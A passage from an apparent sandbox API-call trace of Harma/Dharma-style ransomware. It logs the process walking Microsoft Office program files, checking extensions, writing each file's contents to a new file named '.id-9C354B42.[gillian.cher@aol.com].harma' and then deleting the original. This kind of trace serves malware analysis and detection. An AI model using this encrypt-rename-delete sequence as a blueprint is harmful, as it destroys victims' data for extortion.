Office\\Office14\\EXSEC32.DLL") returned 54 [0171.196] lstrlenW (lpString=".jpg") returned 4 [0171.196] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0171.196] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0171.196] lstrlenW (lpString="EXTRACT.DLL") returned 11 [0171.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\extract.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0171.198] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=340904) returned 1 [0171.198] CloseHandle (hObject=0x348) returned 1 [0171.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\extract.dll")) returned 0x20 [0171.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\extract.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\extract.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0171.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0171.198] lstrlenW (lpString=".doc") returned 4 [0171.198] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0171.198] lstrlenW (lpString=".docx") returned 5 [0171.199] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0171.199] lstrlenW (lpString=".pdf") returned 4 [0171.199] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0171.199] lstrlenW (lpString=".xls") returned 4 [0171.199] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0171.199] lstrlenW (lpString=".xlsx") returned 5 [0171.199] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0171.199] lstrlenW (lpString=".ppt") returned 4 [0171.199] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0171.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0171.199] lstrlenW (lpString=".zip") returned 4 [0171.199] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0171.199] lstrlenW (lpString=".rar") returned 4 [0171.199] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0171.199] lstrlenW (lpString=".bz2") returned 4 [0171.199] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0171.199] lstrlenW (lpString=".7z") returned 3 [0171.199] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0171.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0171.199] lstrlenW (lpString=".dbf") returned 4 [0171.199] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0171.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0171.199] lstrlenW (lpString=".1cd") returned 4 [0171.199] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0171.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0171.199] lstrlenW (lpString=".jpg") returned 4 [0171.199] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0171.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0171.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0171.199] lstrlenW (lpString=".doc") returned 4 [0171.199] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0171.200] lstrlenW (lpString=".docx") returned 5 [0171.200] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0171.200] lstrlenW (lpString=".pdf") returned 4 [0171.200] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0171.200] lstrlenW (lpString=".xls") returned 4 [0171.200] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0171.200] lstrlenW (lpString=".xlsx") returned 5 [0171.200] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0171.200] lstrlenW (lpString=".ppt") returned 4 [0171.200] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0171.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0171.200] lstrlenW (lpString=".zip") returned 4 [0171.200] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0171.200] lstrlenW (lpString=".rar") returned 4 [0171.200] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0171.200] lstrlenW (lpString=".bz2") returned 4 [0171.200] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0171.200] lstrlenW (lpString=".7z") returned 3 [0171.200] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0171.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0171.200] lstrlenW (lpString=".dbf") returned 4 [0171.200] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0171.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0171.200] lstrlenW (lpString=".1cd") returned 4 [0171.200] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0171.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0171.200] lstrlenW (lpString=".jpg") returned 4 [0171.200] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0171.200] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0171.201] lstrlenW (lpString="FACILITY.DLL") returned 12 [0171.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0171.202] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=1621864) returned 1 [0171.202] CloseHandle (hObject=0x348) returned 1 [0171.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll")) returned 0x20 [0171.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.205] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0171.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0171.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0171.205] lstrlenW (lpString=".doc") returned 4 [0171.205] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0171.205] lstrlenW (lpString=".docx") returned 5 [0171.205] lstrcmpiW (lpString1=".docx", lpString2="Y.DLL") returned -1 [0171.205] lstrlenW (lpString=".pdf") returned 4 [0171.206] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0171.206] lstrlenW (lpString=".xls") returned 4 [0171.206] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0171.206] lstrlenW (lpString=".xlsx") returned 5 [0171.206] lstrcmpiW (lpString1=".xlsx", lpString2="Y.DLL") returned -1 [0171.206] lstrlenW (lpString=".ppt") returned 4 [0171.206] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0171.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0171.206] lstrlenW (lpString=".zip") returned 4 [0171.206] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0171.206] lstrlenW (lpString=".rar") returned 4 [0171.206] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0171.206] lstrlenW (lpString=".bz2") returned 4 [0171.206] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0171.206] lstrlenW (lpString=".7z") returned 3 [0171.206] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0171.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0171.206] lstrlenW (lpString=".dbf") returned 4 [0171.206] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0171.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0171.206] lstrlenW (lpString=".1cd") returned 4 [0171.206] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0171.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0171.206] lstrlenW (lpString=".jpg") returned 4 [0171.206] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0171.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0171.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0171.206] lstrlenW (lpString=".doc") returned 4 [0171.206] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0171.206] lstrlenW (lpString=".docx") returned 5 [0171.206] lstrcmpiW (lpString1=".docx", lpString2="Y.DLL") returned -1 [0171.207] lstrlenW (lpString=".pdf") returned 4 [0171.207] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0171.207] lstrlenW (lpString=".xls") returned 4 [0171.207] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0171.207] lstrlenW (lpString=".xlsx") returned 5 [0171.207] lstrcmpiW (lpString1=".xlsx", lpString2="Y.DLL") returned -1 [0171.207] lstrlenW (lpString=".ppt") returned 4 [0171.207] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0171.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0171.207] lstrlenW (lpString=".zip") returned 4 [0171.207] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0171.207] lstrlenW (lpString=".rar") returned 4 [0171.207] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0171.207] lstrlenW (lpString=".bz2") returned 4 [0171.207] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0171.207] lstrlenW (lpString=".7z") returned 3 [0171.207] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0171.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0171.207] lstrlenW (lpString=".dbf") returned 4 [0171.207] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0171.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0171.207] lstrlenW (lpString=".1cd") returned 4 [0171.207] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0171.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0171.207] lstrlenW (lpString=".jpg") returned 4 [0171.207] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0171.208] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0171.208] lstrlenW (lpString="FORM.DLL") returned 8 [0171.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\form.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0171.428] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=239488) returned 1 [0171.428] CloseHandle (hObject=0x1b4) returned 1 [0171.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\form.dll")) returned 0x20 [0171.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\form.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\form.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0171.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0171.480] lstrlenW (lpString=".doc") returned 4 [0171.480] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0171.480] lstrlenW (lpString=".docx") returned 5 [0171.480] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0171.480] lstrlenW (lpString=".pdf") returned 4 [0171.480] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0171.480] lstrlenW (lpString=".xls") returned 4 [0171.480] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0171.480] lstrlenW (lpString=".xlsx") returned 5 [0171.480] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0171.480] lstrlenW (lpString=".ppt") returned 4 [0171.480] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0171.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0171.480] lstrlenW (lpString=".zip") returned 4 [0171.480] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0171.480] lstrlenW (lpString=".rar") returned 4 [0171.481] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0171.481] lstrlenW (lpString=".bz2") returned 4 [0171.481] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0171.481] lstrlenW (lpString=".7z") returned 3 [0171.481] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0171.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0171.481] lstrlenW (lpString=".dbf") returned 4 [0171.481] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0171.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0171.481] lstrlenW (lpString=".1cd") returned 4 [0171.481] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0171.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0171.481] lstrlenW (lpString=".jpg") returned 4 [0171.481] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0171.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0171.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0171.481] lstrlenW (lpString=".doc") returned 4 [0171.481] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0171.481] lstrlenW (lpString=".docx") returned 5 [0171.481] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0171.481] lstrlenW (lpString=".pdf") returned 4 [0171.481] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0171.481] lstrlenW (lpString=".xls") returned 4 [0171.481] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0171.482] lstrlenW (lpString=".xlsx") returned 5 [0171.482] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0171.482] lstrlenW (lpString=".ppt") returned 4 [0171.482] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0171.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0171.482] lstrlenW (lpString=".zip") returned 4 [0171.482] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0171.482] lstrlenW (lpString=".rar") returned 4 [0171.482] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0171.482] lstrlenW (lpString=".bz2") returned 4 [0171.482] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0171.482] lstrlenW (lpString=".7z") returned 3 [0171.482] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0171.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0171.482] lstrlenW (lpString=".dbf") returned 4 [0171.482] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0171.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0171.482] lstrlenW (lpString=".1cd") returned 4 [0171.482] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0171.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0171.482] lstrlenW (lpString=".jpg") returned 4 [0171.482] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0171.483] lstrcmpiW (lpString1=".CFG", lpString2=".harma") returned -1 [0171.483] lstrlenW (lpString="APPT.CFG") returned 8 [0171.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0171.483] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=789) returned 1 [0171.483] CloseHandle (hObject=0x348) returned 1 [0171.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg")) returned 0x20 [0171.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0171.484] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.484] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0171.610] GetLastError () returned 0x0 [0171.610] ReadFile (in: hFile=0x348, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x315, lpOverlapped=0x0) returned 1 [0171.651] WriteFile (in: hFile=0x20c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x320, lpOverlapped=0x0) returned 1 [0171.652] ReadFile (in: hFile=0x348, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0171.652] WriteFile (in: hFile=0x20c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0171.652] SetEndOfFile (hFile=0x20c) returned 1 [0171.652] CloseHandle (hObject=0x20c) returned 1 [0171.652] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.652] SetEndOfFile (hFile=0x348) returned 1 [0171.654] CloseHandle (hObject=0x348) returned 1 [0171.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg")) returned 1 [0171.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0171.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0171.655] lstrlenW (lpString=".doc") returned 4 [0171.655] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0171.655] lstrlenW (lpString=".docx") returned 5 [0171.655] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0171.656] lstrlenW (lpString=".pdf") returned 4 [0171.656] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0171.656] lstrlenW (lpString=".xls") returned 4 [0171.656] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0171.656] lstrlenW (lpString=".xlsx") returned 5 [0171.656] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0171.656] lstrlenW (lpString=".ppt") returned 4 [0171.656] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0171.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0171.656] lstrlenW (lpString=".zip") returned 4 [0171.656] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0171.656] lstrlenW (lpString=".rar") returned 4 [0171.656] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0171.656] lstrlenW (lpString=".bz2") returned 4 [0171.656] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0171.656] lstrlenW (lpString=".7z") returned 3 [0171.656] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0171.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0171.656] lstrlenW (lpString=".dbf") returned 4 [0171.656] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0171.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0171.656] lstrlenW (lpString=".1cd") returned 4 [0171.656] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0171.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0171.656] lstrlenW (lpString=".jpg") returned 4 [0171.656] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0171.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0171.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0171.656] lstrlenW (lpString=".doc") returned 4 [0171.656] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0171.657] lstrlenW (lpString=".docx") returned 5 [0171.657] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0171.657] lstrlenW (lpString=".pdf") returned 4 [0171.657] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0171.657] lstrlenW (lpString=".xls") returned 4 [0171.657] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0171.657] lstrlenW (lpString=".xlsx") returned 5 [0171.657] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0171.657] lstrlenW (lpString=".ppt") returned 4 [0171.657] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0171.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0171.657] lstrlenW (lpString=".zip") returned 4 [0171.657] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0171.657] lstrlenW (lpString=".rar") returned 4 [0171.657] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0171.657] lstrlenW (lpString=".bz2") returned 4 [0171.657] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0171.657] lstrlenW (lpString=".7z") returned 3 [0171.657] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0171.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0171.657] lstrlenW (lpString=".dbf") returned 4 [0171.657] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0171.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0171.657] lstrlenW (lpString=".1cd") returned 4 [0171.657] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0171.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0171.657] lstrlenW (lpString=".jpg") returned 4 [0171.657] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0171.658] lstrcmpiW (lpString1=".ICO", lpString2=".harma") returned 1 [0171.658] lstrlenW (lpString="APPTS.ICO") returned 9 [0171.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0171.658] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=2998) returned 1 [0171.658] CloseHandle (hObject=0x348) returned 1 [0171.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico")) returned 0x20 [0171.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.660] CreateFileW 